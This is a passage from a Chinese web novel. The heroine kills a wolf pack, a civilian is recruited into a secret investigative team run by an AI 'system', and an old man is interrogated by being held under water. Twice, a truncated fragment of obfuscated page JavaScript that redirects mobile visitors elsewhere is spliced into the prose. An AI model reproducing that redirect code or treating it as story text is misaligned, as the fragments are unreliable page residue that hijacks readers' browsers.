燕逸岫心里念叨着,在狼群发起攻击的同一瞬间,她抄起手边的两根比较长的腿骨,找准围攻的薄弱处冲过去。 狼群顺着她的方向缩小包围圈,瞬间调整位置改变战术,默契地建起更严密的封锁线。 燕逸岫马上止住脚步,撤回前进的动作,目光如天外雷电般迅速往四周劈扫一圈,握紧腿骨,先将离自己最近的狼揍出去。 与人的打斗她都还没琢磨清楚,现在面对一群完全没有什么攻击套数的野兽,更是毫无经验。 光凭防御躲避保命也不太现实,很容易耗尽力气。 虽说她腿上还绑有一把袖珍手枪,但子弹数量不一定足够驱散兽群,而且它没有装消音器,开枪会发出非常大的动静。 凭路程和时间能判断这里离天祐的秘密基地很远,但运垃圾的大货车应该还在附近。 如果开枪,机器人那头是可以听得见的,万一它向上级汇报情况,行动可能会暴露。 所以至少得等大货车远离这里了才能开枪,在此之前,她只能尽量想别的办法保命了。 燕逸岫用腿骨打歪狼头,脚步漂移闪躲,又飞起一脚踹中从半空飞扑过来的另一匹张着血盆大口的狼。 这群狼发现燕逸岫不太好对付,于是玩起了消耗战,想要等她力气耗尽再给予致命一击。 燕逸岫越打越窝火,觉得自己真是个倒霉催的,偏偏在受了伤的时候遇上野兽,还是数量庞大的狼群,它们一窝窝起飞扑压下来都能把她给闷死。 显然狼群也考虑到了这个办法,开始分工合作。 一部分狼守在地面,将燕逸岫包围。 另一群则从四面八方助跑起跳腾空飞过来,360度无死角地将猎物笼罩住,困在其中。 狼嚎起此彼伏。 就你们会跳,她不会跳? 燕逸岫磨磨后槽牙,左腿撤开一步屈膝稳住下盘蓄势,再以手上的腿骨为支撑原地起跳,蹦得比它们更高。 离地后她提气凝住腹部核心,争取到滞空时间,接着抬腿旋转横扫,将一侧的狼踢飞出去。 下坠时她瞄准了位置,重重踩中其中一匹狼的后背,咔哒一声,听到了它骨头断裂的声音。 平稳落地后她揪住它的尾巴拎起来,像耍鸡毛掸子般舞着大毛条抽向其它狼。 其它人见自己同伴被这样虐待,多多少少都起了几分忌惮。 其中一部分后退收势,寻找合适的时机,还有一部分则不管不顾继续发起攻击。 燕逸岫轻甩另一手的骨头调转个个儿重新握紧,用骨头较尖锐的那端刺向兽眼。 等它摔落在地后她又乘胜追击一脚将其踢飞出去,砸向另一匹奔过来的狼。 如此纠缠一两分钟后,手上的武器狼已经开始变成累赘了,于是燕逸岫把它甩出去,最后利用一次,打算再来个“拍一送二”。 然而偏在这时候,受伤的肩膀忽然掉链子,刺痛使她提前松开手,没能砸中目标。 也就是因为这一秒的失误,燕逸岫眼前忽然被黑暗笼罩,随即被狼撞倒在地。 复杂浓重的臭气扑面而来,刺鼻又辣眼睛,让她一瞬间剧烈反胃,差点吐出来。 燕逸岫屏气的同时抬手从下往上斜斜揍出一拳给它合上嘴,再顺势张开五指抓狗似的把它的嘴使劲捏紧。 她第一次近距离与野兽对视。 狼眼里泛着荧荧幽绿,燕逸岫瞳孔中红光忽闪,两相交叠,映出火一样的颜色。 燕逸岫心里的怒火越窜越高,眸中的凶光不比野狼淡。 她另一手手指紧紧掐进狼毛里拧着皮肉,扣住它运力蹬腿翻身,连带着一起翻滚下坡持续移动,防止更多狼扑上来。 她握紧对方的嘴筒子一个劲儿往上掰,在天旋地转中盯住了暴露眼前的脆弱致命处。 燕逸岫不假思索张嘴狠狠咬住狼脖子。 人类的牙齿自然比不上野兽,不够尖利,那就只能加重力道下死口。 燕逸岫咬得下巴都快脱臼了,一边顺着咬破的方向撕扯,让伤口裂得更大。 温热腥臭的血液从伤口里源源不断冒出来,淌过狼毛,流过下巴,蹭得到处都是,大部分流进她嘴里。 薄弱处被攻击的狼吃痛,立刻想要脱身远离,却挣扎不开。 明明它本是占据优势的一方,但现在却被死死钳制住。 燕逸岫此时已经气疯了,两眼猩红,分不清是血滴溅进去还是情绪刺激。 求生本能让她思考不了别的,只有一个念头占据头脑,随着急促心跳躁动烧灼,越燃越盛。 弄死它。 弄死它们。 命丧山野被野兽分食?她绝不接受这个结局。 生肉湿腻,颠簸之中几次快要从齿间滑脱,燕逸岫再次死死咬住,最后别过头发力,硬生生撕扯下连筋带肉一大片。 野狼喉咙里的鲜血喷涌而出,几乎将一人一狼浇透。 直到后背撞上树干,翻滚总算停了下来。 燕逸岫顾不上缓缓疼痛,拎着昏死过去的野兽手脚并用站起来,望向跟着奔下山坡的群狼。 她狠狠吐掉嘴里的碎毛、肉块和血沫,抹去快要糊住眼睛的黏稠血液,挥臂将手中的死狼尸体摔到它们面前,哼出一道短促的气,像是嗤笑。 这一挑衅颇具威慑力,群狼瞧着同伴血淋淋的尸体,生出几分忌惮畏惧,纷纷后退拉远距离观察。 燕逸岫顶着一副凶狠无畏的表情,暗中则是调整气息抓紧时间恢复体能。 算着时间拖得差不多了,可以用枪来解决掉几个。 在缠斗中她分心观察了狼群整体,快速分析出哪些是首领和主干力量,哪些是跟随行动的副部。 和杀人类团伙一样,只要解决了头部核心成员,剩下的小喽啰群龙无首,逃的逃散的散,随便打。 下蹲抽枪上膛起身瞄准,燕逸岫一瞬间完成所有动作,果断连开几枪。 狼群被这巨响惊到,有一部分转身逃走,隐入林中。 还有最后一枚子弹,燕逸岫目光飞向最后一匹强壮的狼,扣动扳机。 又一具尸体倒地。 还没等她松一口气,麻烦又出现了。 被一枪穿额的狼王居然还活着,它摇摇晃晃站起来,咆哮着冲向目标,一副誓要同归于尽的架势。 原本打算撤退的几匹狼见状也重新燃起斗志。 拿来当武器的腿骨早就不知道掉哪里去了,没了辅助的燕逸岫叹气,决定走为上策,先跑再说。 狼王已是强弓之弩,跑起来耗死它就行了。 燕逸岫刚要移动脚步,却见另一颗子弹横空杀出,率先击中狼王,彻底了结了它的性命。 紧接着另一颗子弹飞来射穿最接近燕逸岫的狼。 情况不妙,剩余的群狼也转身逃离,不再恋战。 燕逸岫沿子弹来路方向转头,看到了对面山道上正朝这儿驶来的小车。 姜韫从车顶天窗露出半 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燕逸岫上车后先问起要紧事:“温簌那边怎么样?” “地下的货物交接由洪旭的另一个心腹方哥负责,他从一个戴墨镜和口罩的女人那儿拿到了一个不大的箱子。” “G060D?” “暂时无法接近开箱检查,只能说可能是,但至少我们现在搞清楚了,天祐研究院和炎穆帮的交易是以尸体换药。” 姜韫看了眼脚边的黑色塑料袋:“回去检测看看天祐药物到处搜刮尸体是为了做什么实验。” “方哥拿到货后把它带进洪旭的个人办公室里,空着手出来,似乎是锁进机密保险柜里了,不知道后续会怎么处理,温簌会一直盯着。” “我还有个问题,”燕逸岫吞吞吐吐问道,“我咬了狼……要去打狂犬疫苗吗?” 姜韫愣住了,一时间不知道该笑还是震惊。 “你头上有伤口,又接触了血和野外病菌,还是做个全套检查打几针比较保险。” “好吧。” 姜韫带燕逸岫回基地洗头洗澡换身衣服再去医院。 卫崧看到的就是这样的燕逸岫。 黑色衣服裤子瞧不出什么,但胳膊脖子和鞋子上都沾满风干的褐色血迹。 脸上清洗过,但洗得随意,边边角角还有残留。 因为狂奔和打斗,她的刘海岔到两边定了型,变成利落清爽的中分。 也正因如此,她那平常总掩在刘海下的眉毛完全露出来了。 眉头细淡眉峰浓,眉峰折出不陡的角度,但转折处和眉尾的角都清晰锋利,隐隐透出几分锐意。 在他印象中,平日燕逸岫的气质是江南的温和,现在露出全部五官后却稍稍变了,更像冬雪江南,散发出略带攻击性的冷。 燕逸岫看到卫崧时呆愣片刻,抬头环顾四周又重新打量他的脸。 没走错,这里确实是系统的基地。 也没看错,坐在大厅里的确实是卫崧。 他怎么会在这里? “逸岫姐!”卫崧起身一瘸一拐朝她跑来,心急如焚,“你怎么伤得这么重?” “哦对,还没来得及跟你说,”知情的姜韫表情平淡,“卫崧今后应该会是行动组的一员。” 燕逸岫震惊地睁大双眼。 “啊?” 67. 必受忧思因果之苦 卫崧注意力只集中在燕逸岫身上,完全没听见她们俩在聊自己。 “逸岫姐你伤哪儿了?”他在燕逸岫面前刹住脚步,上下左右仔仔细细端详,“赶紧去医院吧?” 燕逸岫收敛表情摇头:“没什么事,不是我的血。” 姜韫搭话:“不过还是得去医院检查一遍,所以先来换身衣服,你测试都完成了?” “第一轮结束了,第二轮还没开始。” 姜韫点点头,让他继续在这里等着完成所有测试,她忙完回来就会查看处理,再和他详谈。 本想跟着去医院的卫崧只好眼巴巴目送两人进电梯上楼。 “他怎么会……?” 姜韫转着手腕上的银镯,眉头往上扬:“我也很吃惊。” “先前他大概是想和你聊,但你正好出任务不在,所以他询问警察后找上了我。” 电梯到达五楼,姜韫边走边告诉燕逸岫,卫崧发现了她们身份不一般,不属于警队。 燕逸岫更加错愕,开始回忆是不是自己哪里说错话还是举止怪异导致露马脚了。 “他猜测我们是协助警方的帮派组织或者职业杀手。” “所以他想加入?”燕逸岫不用想便知他的心思。 姜韫点头:“我当然不可能承认和答应,让原住民冒生命危险。” “但是系统在我开口劝说前突然冒了出来,叫我答应他的请求。” “是祂选中了卫崧。” 姜韫暂时说到这儿,催促她赶紧去浴室洗漱,具体的等去医院路上再谈。 血迹很难清洗,尤其是泼洒黏在头发上的。 燕逸岫以钻木取火的姿势拼命搓头发,即使水一边冲着,这股劲还是有一种快要磨擦出火花的架势。 但好像不管洗几遍水都还是浅红的。 燕逸岫不想让姜韫等太久,又不想顶着没洗干净的血迹,于是只好尽可能加快速度。 水流声稀里哗啦响个不停。 水装满池子,漾着浅浅的波纹,细密的泡泡很快一个个破裂消失。 刚恢复平静,这片小小的湖泊忽然又掀起惊浪。 “咳咳……救……” 一只手揪住短发将人的头反反复复压进水里再拔起来。 “受罪吗?何必呢?本来我们也不想这样的。”沙哑的声音抑扬顿挫,满含讥讽。 另一个黑影站在不远处的阴影里,双臂抱在胸前,静静地观察。 “现在肯不肯说了?” 眼睛鼻子被呛红的人咳个不停,撑在盆边的胳膊因用力挣扎而颤抖不停。 “……我……真不知……” 话音未落,他就被再度摁进水里,这次持续时间更长。 痛苦诡异的呜咽和咕噜噜的声响盈满房间。 “还跟我们装,我们都已经查到了和你有关,还在嘴硬什么?” “话说您多大了?六七十了吧?老头子,何必呢?” “无忧无虑,安度晚年不好吗?非要嘴硬逞强,一大把年纪了还让自己受这种折磨。” “说不说?只要你说出昆隐棋的下落,就能全须全尾回家了。” “把她藏哪儿了?或是给她指了什么路线?动动嘴皮子的事就可以免受皮肉之苦了,不是吗?” 说话之人把他半白的短发揪起来,再压下去。 不过这回那人控制住力道和距离,没有将手底下的脑袋没入水中,只有鼻尖点在水面,悬悬地停在了半空。 他一字一顿地挤出威胁的字眼:“老头,说不说啊?” “这可是最后一次机会了。” 老人略微浑浊的眼无神盯着水面,盯着水面映出的模糊倒影,盯着自己的双眸。 他的眼皮颤抖着,最后缓缓闭上眼睛。 燕逸岫猛地睁开眼睛,习惯性暗中晃动目光观察环境。 今天这一趟跟踪下来,她实在是累不行了,坐在这儿等检查报告,好像才坐了几秒就迷迷糊糊睡着了。 医生拿着刚刚生成的报告,边浏览边走到两人面前。 “头部和肩膀撞伤,轻微脑震荡,骨头没事,后背淤伤不算严重,当然还是要注意多休息,休养期间不要再剧烈运动。” 医生说完这些,把几张报告纸洗扑克牌似的切来换去,停顿几秒,狐疑的目光投向安静坐着的燕逸岫。 “你说你……咬了……狼?还喝了它的血?” “不是喝,”燕逸岫垂下眼帘小声反驳,“是咬的时候血自己流进去的。” 姜韫抿着唇忍住笑,清清嗓子别开脸。 医生的表情有些一言难尽,她重新看了几眼报告,接受了她的解释。 医生见多识广,接受力总是很强。 “没关系,影响不大,”她打开屏幕输入数据开药,“等会去打一针疫苗观察观察,如果没有什么别的反应就没问题了。” “如果之后还有发烧呕吐等急性症状,马上过来再打一针。” 燕逸岫赶紧点头应着:“好,明白了,谢谢医生。” 医生又开了几样对疫苗无影响的消肿消瘀、恢复气血、加速伤口愈合的特效药给她。 打完疫苗,两人穿过飘着酒精味的长长走廊。 燕逸岫把姜韫拉到身边,避开迎面而来的一窝蜂病人家属,边继续刚才的话题。 “卫崧是原住民,并非异世界人员,如果遭遇危险,系统也能提供庇护,让他进入暂时死亡的状态吗?” “不能,暂时死亡的能力只针对异世界成员,可以说是系统挖掘出来的一个bug,至于原住民,没办法有特殊保护,只能听天由命。” 姜韫也不清楚系统怎么想的,竟然改变原先的筛选条件放进一个原住民。 她似有所感,问系统是不是能预知什么,但祂否认了,说数据才是最可信的东西。 两人聊着这些,乘电梯来到六楼探望申天诺。 申天诺年纪小,身体恢复能力比成人强,加上特效药的治疗,她的骨头愈合得很快,现在已经能下床拄着拐杖走走路了。 姜韫还要回去处理卫崧的事情,只留了几分钟就先离开了,燕逸岫继续陪着她,权当顺便休息养足精神。 “医生说我周末就能出院了,下周正好去上课,可是……” 她是连环杀人犯犯下的山火案的幸存者,这件事认识她的人几乎都知道了。 申天诺想到将来很长一段时间里都要面对各种探究好奇怜悯的目光,不禁心慌难受,呼吸困难。 “不适应就先待在家里上课吧?”燕逸岫躺在陪护椅上歇一会儿,顺便服药。 “你的情况特殊,和班主任年段长解释沟通一下应该没问题。” 申天诺低头卷着病号服衣角嗫嚅:“我也想,可这样不好,爸爸妈妈以前总说这样是不对的,不该逃避,而要努力克服,才能融入大家。” “对错标准是谁决定的?一定就对吗?” 燕逸岫早已经烦了这类话,自从想开后主打一个油盐不进,一听这些字句就想翻白眼。 “这对那些社牛外向大胆的人来说是错的,可凭什么单以那些人的社交标准判罚,逼人改变?为什么对方不能宽容一点接受性格多样性?” “那些人动动嘴皮子的事,毫发无损,只有我们痛苦和怀疑自己,听话去改,最后更不快乐。” 似乎是药效起得快,燕逸岫打了个呵欠,翻身侧躺蜷起腿,将头发拨到脖子后面,注视坐在床上的小小的申天诺。 “我们这种性格活着已经很不快乐了,所以别再多给自己添堵,随心所欲一点,你不想做的事情就不勉强自己。” “指指点点说我要改要克服?那些人要不先改改不理解就妄下断论的毛病呢?” 申天诺露出浅笑,歪头不知道在想些什么,上半身小幅度地前后晃悠。 “如果亲戚和学校那边不答应,你就跟我说,我去两边沟通处理,舌战群儒。” 这回申天诺笑出了声,松开手,卷着的衣角因此舒展,停在一个弯弯的弧度。 燕逸岫的眼睛也随之弯起:“所以别担心,我永远站在你这一边,你想不见人就不见人,等心理情绪调整好了再考虑别的事,你自己最重要。” 直到申天诺亲戚忙完自己家中的事来陪护了,燕逸岫才起身告辞。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019945|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 回家后,进入没有外人干扰的独处环境,燕逸岫还是忍不住向系统打听。 “为什么会选卫崧?” 系统说了句让人云里雾里的话:“信仰和情感本身就是非同寻常的能力。” “信仰?什么信仰?” 燕逸岫对卫崧不算特别了解,并不清楚他是信什么教。 情感她理解,杀亲之仇。 但总不可能因为信了什么教比较诚心,受神明庇佑,就能放心大胆加入行动莽吧? “别太忧虑,你们也知道,我从来都是按数据测算,不管是人体数据、情绪情感数据还是社会性数据,我都有综合考虑到。” “潜能是一定有的,但是最终能不能觉醒并发挥出来,以及在什么情况下能发挥出来,这些是我无法决定的。” “我如今确定的就是卫崧和你们一样有特定的潜能,如果能发挥出来的话,一定能帮得上你们。” 当警方的诱饵已经是很危险的了,如果真正参与到破暗行动中,以后将会与反派有无数次的交锋。 她们这些来自异世界的人还有额外一次复活的机会,可卫崧没有。 从系统笼统的话里,她也能捕捉到另一层隐晦考虑。 在必要时候,卫崧可能可以成为首当其冲的试探人、挡枪的、替死鬼、利用的工具。 燕逸岫惆怅又茫然。 “觉得我残忍?” 系统察觉察得出她心中所想。 燕逸岫一耸肩,避而不答,也不知道如何回答。 当初她宽慰卫崧不要对于被她所救而感到有负担,否则她也会有负担。 但有为必有所想,必受忧思因果之苦。在此之前燕逸岫就已经多多少少有点心理压力了。 救过一次的人,她绝不希望他重蹈覆辙,再度陷入同样的危险中而丧命。 得而复失,不管是什么人什么物、不管是什么情感,都是让人伤心的。 而现在卫崧加入行动之中,燕逸岫就想得更远了。 如果当初不是自己救了他,而是某个警员,她们两人没有交集,没有接触,卫崧是不是就不会知道行动组的事,不会走到这一境地了? 但燕逸岫同时也深知,为父母报仇是卫崧活下去的唯一支撑。 不管是作为警方的诱饵还是行动组的成员,他总会想方设法参与到调查中来,无可避免地与死神打照面。 没关系的,不是什么大问题,燕逸岫劝导自己,这二者不冲突。 无论是否经历过相同苦痛,别人都没资格指导受害者该怎么放下怎么走。 队友想做什么,即使不支持也保持沉默。 她不希望见队友死,那就努力不让队友死。 她能救一次,就能救第二次、第三次,只要卫崧是在自己身边,自己总有办法能保护得了他。 既然成为了队友,同仇敌忾,她就会千方百计为之解决危险,让她们安心往前走。 她想保护她们走向圆满的结局。 她要保护她们走向圆满的结局。 燕逸岫抓抓头发,将刘海往后顺,眯起眼望着虚空出神,呼出一声气放松肩背。 刘海重新翻回垂落,将她的眉毛遮掩住,还有几撮挂在她睫毛上,随着眨眼一动一动。 她打开卧室灯,抬头望着自己贴了满墙的照片。 那是凶手留在每一个现场的图案,子宫里的婴儿。 燕逸岫印出所有照片贴在墙上,每天睡前和睁眼都能马上看见,耐心揣摩其中含意。 她久久伫立墙前,直至天光熹微。 昆隐棋正在准备下一轮转移阵地。 她的东西很少,都是最实用的必备物品,行李轻便才好随时拎包逃跑。 她刚拉上拉链背上包,一声信息提示音响起。 昆隐棋打开“宙”查看。 屏幕亮起的温和光芒在黑暗中显得格外刺眼,照得她面容青白无血色,眼底阴影坠沉。 一条陌生人的信息挂在消息栏最顶处。 那行字映入昆隐棋眼中,与瞳孔融为一体。 “棋棋,这些年你过得好吗?” 68. 被阻挠的尸检与旧档案 姜韫脸上覆着一片白光,朦朦胧胧映出眼尾皮肤的一个小坑。 她看完全部卫崧的测试录像,仔细分析系统屏幕上的各项检测数值,沉吟好半天。 “你确定要让他加入吗?”姜韫有些犹豫,“你看这数据,精神数值很弱,非常容易受外界影响。” “他自己本就是从尸体堆里活下来的,以后见了更多尸体和案件,真的没问题吗?” 系统似乎心情很好,绕着姜韫飘来飘去:“若有所得,必有所出,既然他坚决要参与到调查中,这就是他必须付出的代价。” “他正常情况下的精神数值会是又高又稳定的,但最近失去亲人,第一次经历巨大打击,状态起起伏伏倒也正常,得给他一些时间调理。” 等系统飘回自己眼前,姜韫的视线重新定在屏幕上,看着上面的瘦高身影。 许久,她才别开脸:“其实你并不特别在意这一点吧。” 闻言,系统发出一声很短很浅的笑声,爽快承认。 “我们的行动计划特殊,自然是以结果为导向,我只看中他有潜能这件事,谁知道他的脆弱之处将来会不会就成为了觉醒异能的导火索呢?” 姜韫把数据报告存到自己的微系统中:“有时候我觉得你像个小孩,有时候却觉得你比我接触过的各种高层人员还心狠。” 抓反派的目的是为了保护新世界的民众,但为了这一目的,又选择了民众作为诱饵和牺牲品。 “这是我的决定我的指令,你不必觉得对不住他,与你无关。” “要负罪也是我负罪,虽然我一个虚拟物也没有什么人类情感。” 姜韫无言看着系统将卫崧的名字划入外勤组一栏。 从这一刻开始,卫崧正式成为破暗行动组的队员,唯一一名新世界原住民。 楼下的卫崧正好奇地活动几下大拇指。 他的微系统芯片被嵌在指腹里。 如今他终于真正了解到燕逸岫等人的身份和她们的秘密武器。 这个所谓的系统是目前未公之于众的警用高科技,正处于内测阶段。 它被开发出来后正好碰上连环杀人犯开始活动,便被调来专门负责处理案件,统筹行动。 燕逸岫这群人是从天南地北招来的职业杀手和技术人才,各有特长,分工合作一起执行任务,追捕同样拥有罕见高科技的凶手。 而这块芯片,则是科技与医学结合的产物,能够持续刺激人体机能,发挥出以前无法被完全开发的能力,突破人体极限。 卫崧坐在大厅里,翻开系统给他的案件总汇资料,开始阅读曾经自己没途径了解到的细节和内幕。 手指越点越快,屏幕上的资料一页页翻着。 “怎么会没有?”燕逸岫疑惑嘀咕。 她正坐在第一医院的资料机房里。 她把这几天各医院接收的病患和死者资料都过了一遍,怎么也找不到阿彬的具体尸检报告和解剖记录。 阿彬死得蹊跷,她的家人居然没有要求进一步检查? 脑血管爆裂,说可疑似乎也不可疑,说不可疑又确实有些古怪,因为它的发作症状和普通的脑血管破裂并不太一样。 此事绝对有牵扯上虞瓷,从她那副模样看来恐怕是不会透露实情,所以燕逸岫暂时不打算打草惊蛇。 她联系了专门与警方对接的医院负责人,请她帮忙了解相关情况。 负责人告诉她,原本医生也有一点疑虑,但阿彬的家人都一口咬定只是突发性疾病,没有什么可疑的,不同意她们破坏遗体。 “唉,说什么遗体不完整了孩子会无法超度转世……” 警方当天赶去现场调查取证过,询问相关人证,也都没有发现异常的地方。 阿彬平日也没有吃什么古怪的东西,身边的所有食物物品也都没有毒素残留。 没有凶杀的痕迹,警方也无法强制进行司法解剖。 于是尸体就完好无损地被送去了太平间。 燕逸岫思考着这条线要如何深入,打开微系统拷贝唯一一份笼统的尸检报告。 她的手指恰好点在了突然弹出的接通键上,秒接了乔琅发起的群视频。 乔琅说书人似的起头:“一波未平一波又起——” 她把几段监控视频发到大家的微系统上。 “你们刚查出天祐研究院的盗尸秘密,我这边又发现了护民制药的古怪。” 她比对监控摸索出了其中几名研究员的行踪规律。 虽然她们每次暗中行动都有进行伪装,但乔琅照样能看出来是同一个人。 这些乔装打扮的人虽然不是同天同时行动,不走同一条路,但最后目的地都是同一家美术馆,每次都待了好几个小时才离开。 廖怀霖接过话:“这座美术馆里有几层无实物陈列的自由涂鸦展厅,没有安装监控探头,其它楼道的走廊监控显示她们停在那几层里。” 监控记录被避开,所以无法得知她们在里面干了什么。 “单独行动?频率呢?”姜韫问道。 “对,每次都只有一个人,每个月都去‘艺术熏陶’四次,都是这四人轮流去,身份资料已经传给你们了。” 乔琅刷啦啦发完文件:“好了暂时就是这些,队长有什么指示吗?” “按你自己的思路继续查行踪,天祐和护民制药一起查,看看失窃药物最后是不是流向了反派手中。” “天祐的秘密基地已经确定了具体位置对吧?那附近的监控也多注意。” “好。”乔琅轻快地应了一声。 就在这时,燕逸岫透过屏幕看到她背后闪过半张人脸。 苍白的,背着光,阴森森如鬼一般。 燕逸岫差点一口气背过去。 两人不在同一地区,她又不能瞬移赶到乔琅身边,所以她只好拼命使眼色压低声音提醒:“乔琅,你后面,你后面……” 乔琅回头看了眼,不以为意笑了笑:“啊,别怕别怕,那是我的机器人。” “机器人?” 乔琅眼馋这款可捏脸的最新款家居机器人好段时间了。 原先家里的机器人是很普通的款式,是系统操纵的公司的古早产品。 自家产品,用着放心。 而可捏脸机器人是别家公司研发的,经过外人之手,谨慎的系统自然不会考虑把它们放在初来乍到的行动组成员家中。 乔琅也是前几天才询问系统如今换机器人是否安全,如愿拿下了心心念念的捏脸机器人。 她想照着自己喜欢的明星偶像的脸捏,这样一来相当于她们一直陪在身边。 这张看腻了就换一个捏,随便折腾。 这对于追星女而言简直是这辈子必买的好东西。 乔琅扭头喊了一声,把机器人拉到屏幕前展示给队友们看。 “看,这几天我把喜欢的明星的特征融合在一起,捏出一张新的脸,感觉一下子可以欣赏好几个人的神仙颜值,养眼得要命。” 乔琅越说越激动。 燕逸岫端详机器人那张俊秀的脸。 确实……人山人海的…… 连她这个不怎么关注娱乐圈的人都能辨认出几个比较火的明星的某处五官特征。 虽然分享得很兴奋,但乔琅很快就结束了这个无关紧要的话题,打声招呼关掉视频,不浪费她们的时间。 燕逸岫静静盯着已经切换回医院资料的屏幕出神。 她觉得脑子里忽然有什么乱糟糟的念头在试图拼凑起来,在提醒她有问题。 她低着头一动不动立在原地,宛如石化人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027141|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 几分钟后,燕逸岫才抬起手,指节来回摩挲下巴,眼中的圆点光芒因震惊而微颤。 “不会吧……这能办得到吗?”同一念头也从姜韫的沉思中浮出,露出还未完全成型的轮廓。 她站在休息室里,闭上眼,将先前各类线索重新抽取整合拼凑,寻找更有力的证明。 之后,她打开门,匆匆离开警局。 燕逸岫也脚步匆匆穿过走廊去新的地方解惑。 走到一半闪过分叉路时,她忽然一怔,后退两步,从墙后探身,往与之垂直的左侧走廊看。 视线重新移回去定格,一张颇为熟悉的脸就出现在眼前。 那是第六案的发现人,樊昭的儿子樊隽远。 樊隽远此时正在打电话和辅导员沟通。 “我妹妹转院,今晚我真的得留下来陪护,老师,我明早就返校。” “不是……唉……我可以把我妹的病历和我现在的位置发给您,要不打视频确认吧?您随时打,突击检查都没问题。” “我真不是随便请假跑出去玩在外面过夜……” “对,我妈我爸也在……可是得轮流守啊,她们总得休息……” “而且那是我亲妹妹,我怎么能不管她然后自己回学校干躺着啊我现在……我知道但是……” 樊隽远和辅导员扯皮扯得心烦,抓着头发不断叹气,憋屈得来回踱步,最后蹲在地上,耐着性子继续解释。 燕逸岫停了几秒就继续朝自己的目的地走,边留意他的电话内容。 当初她翻案件相关人员资料发现樊隽远有个植物人妹妹后,立刻投以深深怀疑的目光。 类似于爱赌的爸冷漠的妈生病的妹妹破碎的他,各种痛苦致使他心理扭曲走向违法犯罪的道路…… 电视剧里不都这么安排的剧情吗? 所以她拉上廖怀霖仔细查查,但没发现异常,没有黑化因素。 樊隽远家庭环境正常,妹妹樊隽遥也确实是出意外摔成了植物人。 之前都平平稳稳没什么事,今天突然转到第一医院,不知道是不是出什么不好的状况。 现在是暑假期间,燕逸岫猜测他大概也和彭嵘一样留校了,所以出校外住还得和辅导员请假报备。 毕竟是案件相关人员,说不定妹妹情况突变是反派搞的鬼,燕逸岫寻思等忙完后还是得去偷偷看一眼。 燕逸岫上楼找到值守医院的警方,请她们和医院负责人沟通一番。 十几分钟后,她签了保证书,以筛查几十年前有没有疑似连环杀人犯伤人手法的病例为由,成功进入旧档案室。 医院网络数据库里的信息在前几年进行过一轮增补和整理,比较清晰完整。 不过燕逸岫觉得还是找到纸质资料核对一遍更稳妥。 三十几年前,新世界的科技不似如今突飞猛进光速发展,很多资料都还是实体保存。 就在这间尘封许久的档案室里。 燕逸岫转了一圈找到妇产科区域,开始通过年份筛选。 她边走着,扫视过一本本册子,快速寻找熟悉的名字。 如此浏览了几层,她的动作猛地停住,目光往回撤了两厘米。 找到了。 她抽出档案,确认封面龙飞凤舞的名字。 昆黎临。 燕逸岫赶紧翻开内页找到生产情况记录浏览,眉头越皱越紧,表情凝重。 ……她看不懂医生的连笔草书。 没想到会败在最后一步,燕逸岫仔细辨认了一会儿,决定不再为难自己,转而求助系统进行中译中。 系统望着这全篇几乎一模一样的串串波浪线和撇捺弯钩,也陷入沉默,屏幕光芒都不闪烁了。 “……” 果然没有什么高科技能完全取代人类。 69. 青白焰火 “算了这个不是很紧急,有可能也是篡改的,晚点再说。” 最重要的是…… 燕逸岫将册子往下斜,看最底下的签名栏。 离得近了,带着淡淡霉味的陈年书页气息飞到鼻尖。 好在医生签名没有那么简略,顺着笔画认真辨认就能看出名字。 “伍……周……桐……” “等等,伍周桐?”燕逸岫像做梦惊醒般猛地抬头。 这不是当年和石见微一起去国外参会的其中一名医生吗? 燕逸岫赶紧把之前秦观秋整理好的通话录音及文档翻出来重新阅读一遍。 年代久远,有些专家已经过世了,在世的也不怎么记得那平平无奇的片段记忆。 只有一位专家对落地那几小时的事还有一点模糊的印象。 “那天雪下得很大,负责接待的人员卡在路上,延迟了将近一小时才平安到达机场。” 等待期间她去了一趟厕所,途中碰巧看到了昆黎临和另一个黑发女人站在落地大窗前,一起望着外面幽蓝的雪景。 她并没有太在意,寻思是昆黎临正好碰到了认识的人,或者两人只是恰巧都对某片景色感兴趣才离得近。 “那个女人你感觉眼熟吗?” “隔得远,看不出,并不眼熟。” “她们共处大概多久?” “这我就不太清楚了。” 因为她当时也忙着打电话处理医院的事情,沉浸其中,直到听见大家说负责人来了,她才暂时放下电话一起出发。 那时候昆黎临已经回到队伍里,神色如常,没有什么异样。 最后老人费劲回忆起对方穿着黑风衣,黑长裤,大波浪长发束在脑后,将近一米八的个子。 廖怀霖目前还没搜到昆黎临这身穿着拍的照片,不过比对同年的其它照片能确定的是发型相似,个子也差不多。 至于伍周桐,她也不记得当年的事了。 渐近的脚步声打断燕逸岫的思绪,她本以为是路过的,不料对方也直奔这间档案室,打开了门。 姜韫和燕逸岫乍一对视,都明白了对方和自己怀揣着同样想法。 “我觉得太异想天开了,不敢随便说,万一猜错了多尴尬。”燕逸岫抬手递出档案交给姜韫,把自己的发现告诉她。 姜韫也看不懂手写记录的草书,便把这部分拍下来,截取几句发给在其它医院任职的医生朋友帮忙中译中试试。 “昆黎临她们负责的项目正到了要紧关头,我们没机会联系上了,而且这么隐秘的事情没办法让人传话,暂时只能靠我们自己挖掘线索。” 姜韫合上档案。 旧物的朽气再次翻扑起来,消散在两人严肃的眉眼间。 燕逸岫独自回到天均区基地,上楼后发现有间研究室还有人在,门缝底下透出一丝光亮。 她上前敲了敲门,得到应答后推门进屋,一瞬间浑身浸透冰冷的酒精气息。 